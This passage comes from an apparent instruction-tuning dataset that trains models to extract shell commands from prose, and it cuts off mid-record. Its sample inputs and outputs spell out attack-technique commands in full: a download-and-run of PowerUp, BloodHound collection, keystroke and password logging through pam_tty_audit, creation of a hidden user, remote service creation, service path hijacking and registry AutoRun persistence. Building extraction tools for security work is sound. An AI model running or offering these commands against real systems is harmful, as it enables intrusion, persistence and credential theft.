\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n For capturing all keystrokes in a ssh session via the pam_tty_audit module, use this command sequence: cp -v /etc/pam.d/sshd /tmp/\necho \"session required pam_tty_audit.so disable=* enable=* open_only log_passwd\" >> /etc/pam.d/sshd\nsystemctl restart sshd\nsystemctl restart auditd\nssh #{user_account}@localhost \nwhoami\nsudo su\nwhoami\nexit\nexit; For tracking command executions in both 32 and 64 bit architectures via auditd, execute the following sequence: auditctl -a always,exit -F arch=b64 -S execve -k CMDS \nauditctl -a always,exit -F arch=b32 -S execve -k CMDS\nwhoami; ausearch -i --start now", "output": "{\"command_list\": [\"cp -v /etc/pam.d/sshd /tmp/\\necho \\\"session required pam_tty_audit.so disable=* enable=* open_only log_passwd\\\" >> /etc/pam.d/sshd\\nsystemctl restart sshd\\nsystemctl restart auditd\\nssh #{user_account}@localhost \\nwhoami\\nsudo su\\nwhoami\\nexit\\nexit\\n\", \"auditctl -a always,exit -F arch=b64 -S execve -k CMDS \\nauditctl -a always,exit -F arch=b32 -S execve -k CMDS\\nwhoami; ausearch -i --start now\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To list all printers on a Windows system, which is a common discovery technique used by attackers to identify potential targets, use the following command: Get-Printer; You can create a system user by executing this command: useradd -M -N -r -s /bin/bash -c evil_account #{username}\n", "output": "{\"command_list\": [\"Get-Printer\\n\", \"useradd -M -N -r -s /bin/bash -c evil_account #{username}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Upon successful execution, PowerShell will download `AtomicService.exe` from GitHub, and cmd.exe will spawn sc.exe to create and start the service with this command: sc.exe \\\\#{remote_host} create #{service_name} binPath= \"#{binary_path}\" start=#{startup_type} type=#{service_type}\nsc.exe \\\\#{remote_host} start #{service_name}\n; By running the following PowerShell commands, you can change a service's binary path temporarily before restoring it: Stop-Service -Name \"#{service_name}\" -force -erroraction silentlycontinue | Out-Null\nset-servicebinarypath -name \"#{service_name}\" -path \"#{new_bin_path}\"\nstart-service -Name \"#{service_name}\" -erroraction silentlycontinue | out-null", "output": "{\"command_list\": [\"sc.exe \\\\\\\\#{remote_host} create #{service_name} binPath= \\\"#{binary_path}\\\" start=#{startup_type} type=#{service_type}\\nsc.exe \\\\\\\\#{remote_host} start #{service_name}\\n\", \"Stop-Service -Name \\\"#{service_name}\\\" -force -erroraction silentlycontinue | Out-Null\\nset-servicebinarypath -name \\\"#{service_name}\\\" -path \\\"#{new_bin_path}\\\"\\nstart-service -Name \\\"#{service_name}\\\" -erroraction silentlycontinue | out-null\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n For modifying firewall rules on UFW, first deny access from a specific IP then display the current rules with the command: ufw prepend deny from 1.2.3.4\nufw status numbered; If PF is installed and enabled, you can manage rules by executing this command: \necho \"block in proto tcp from 1.2.3.4 to any\" | pfctl -a pf-rules -f -\npfctl -a pf-rules -s rules\n", "output": "{\"command_list\": [\"ufw prepend deny from 1.2.3.4\\nufw status numbered\\n\", \"echo \\\"block in proto tcp from 1.2.3.4 to any\\\" | pfctl -a pf-rules -f -\\npfctl -a pf-rules -s rules\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To persist by abusing the CommandProcessor AutoRun registry key, which executes a specified command whenever cmd.exe is run, use the following PowerShell commands: $path = \"HKCU:\\Software\\Microsoft\\Command Processor\"\nif (!(Test-Path -path $path)){\n New-Item -ItemType Key -Path $path\n}\nNew-ItemProperty -Path $path -Name \"AutoRun\" -Value \"#{command}\" -PropertyType \"String\"; To configure the Windows Error Reporting framework to launch a debugger when applications hang, use the following command: reg add \"HKLM\\Software\\Microsoft\\Windows\\Windows Error Reporting\\Hangs\" /v Debugger /t REG_SZ /d \"C:\\Windows\\System32\\notepad.exe\" /f", "output": "{\"command_list\": [\"$path = \\\"HKCU:\\\\Software\\\\Microsoft\\\\Command Processor\\\"\\nif (!(Test-Path -path $path)){\\n New-Item -ItemType Key -Path $path\\n}\\nNew-ItemProperty -Path $path -Name \\\"AutoRun\\\" -Value \\\"#{command}\\\" -PropertyType \\\"String\\\"\", \"reg add \\\"HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\Windows Error Reporting\\\\Hangs\\\" /v Debugger /t REG_SZ /d \\\"C:\\\\Windows\\\\System32\\\\notepad.exe\\\" /f\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To discover network shares via the command prompt, you can use the following command, where the computer name variable may need adjustment: net view \\\\#{computer_name}\n; To discover available network shares using PowerShell, run the following command: get-smbshare", "output": "{\"command_list\": [\"net view \\\\\\\\#{computer_name}\\n\", \"get-smbshare\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n A ping sweep can be performed on the 192.168.1.1/24 subnet with this command, echoing active IPs upon detection: for ip in $(seq #{start_host} #{stop_host}); do ping -c 1 #{subnet}.$ip; [ $? -eq 0 ] && echo \"#{subnet}.$ip UP\" || : ; done; This PowerShell script identifies the local /24 network range using ipconfig and performs nslookup on each IP in that range, which can be executed with the following command:\n$localip = ((ipconfig | findstr [0-9]\\.\\\\.)[0]).Split()[-1]\n$pieces = $localip.split(\".\")\n$firstOctet = $pieces[0]\n$secondOctet = $pieces[1]\n$thirdOctet = $pieces[2]\nforeach ($ip in 1..255 | % { \"$firstOctet.$secondOctet.$thirdOctet.$_\" } ) {cmd.exe /c nslookup $ip}", "output": "{\"command_list\": [\"for ip in $(seq #{start_host} #{stop_host}); do ping -c 1 #{subnet}.$ip; [ $? -eq 0 ] && echo \\\"#{subnet}.$ip UP\\\" || : ; done\\n\", \"$localip = ((ipconfig | findstr [0-9].\\\\.)[0]).Split()[-1]\\n$pieces = $localip.split(\\\".\\\")\\n$firstOctet = $pieces[0]\\n$secondOctet = $pieces[1]\\n$thirdOctet = $pieces[2]\\nforeach ($ip in 1..255 | % { \\\"$firstOctet.$secondOctet.$thirdOctet.$_\\\" } ) {cmd.exe /c nslookup $ip}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected 